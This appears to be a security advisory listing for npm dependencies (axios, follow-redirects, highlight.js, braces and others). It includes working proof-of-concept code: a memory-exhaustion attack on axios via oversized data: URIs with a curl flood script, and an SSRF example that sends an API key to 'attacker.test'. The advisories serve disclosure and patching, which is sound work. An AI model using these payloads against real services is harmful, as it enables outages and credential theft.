All the vulnerabilities related to the version 2.4.0 of the package
Axios is vulnerable to DoS attack through lack of data size check
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
Run this app and send 3 post requests:
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```
Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Exposure of sensitive information in follow-redirects
follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor
follow-redirects' Proxy-Authorization header kept across hosts
When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.
Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})
When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.
This vulnerability may lead to credentials leak.
Remove proxy-authentication header during cross-domain redirect
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);
Follow Redirects improperly handles URLs in the url.parse() function
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects
Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.
Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
ReDOS vulnerabities: multiple grammars
The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.
If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).
This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common') as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js
All versions prior to 10.4.1 are vulnerable, including version 9.18.5.
Grammars with exponential backtracking issues:
And of course any aliases of those languages have the same issue. ie: hpp is no safer than cpp.
Grammars with polynomial backtracking issues:
And again: any aliases of those languages have the same issue. ie: ruby and rb share the same ruby issues.
If you have any questions or comments about this advisory:
Prototype Pollution in highlight.js
Affected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.
The pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector.
If your website or application does not render user provided data it should be unaffected.
Versions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability. If you are using version 7 or 8 you are encouraged to upgrade to a newer release.
Manually patch your library to create null objects for both languages and aliases:
const HLJS = function(hljs) {
// ...
var languages = Object.create(null);
var aliases = Object.create(null);
Filter the language names that users are allowed to inject into your HTML to guarantee they are valid.
If you have any questions or comments about this advisory:
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Denial of Service in mem
Versions of mem prior to 4.0.0 are vulnerable to Denial of Service (DoS). The package fails to remove old values from the cache even after a value passes its maxAge property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging.
Upgrade to version 4.0.0 or later.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Regular Expression Denial of Service in braces
Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 2.3.1 or higher.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
yargs-parser Vulnerable to Prototype Pollution
Affected versions of yargs-parser are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --foo.__proto__.bar baz' adds a bar property with value baz to all objects. This is only exploitable if attackers have control over the arguments being passed to yargs-parser.
Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.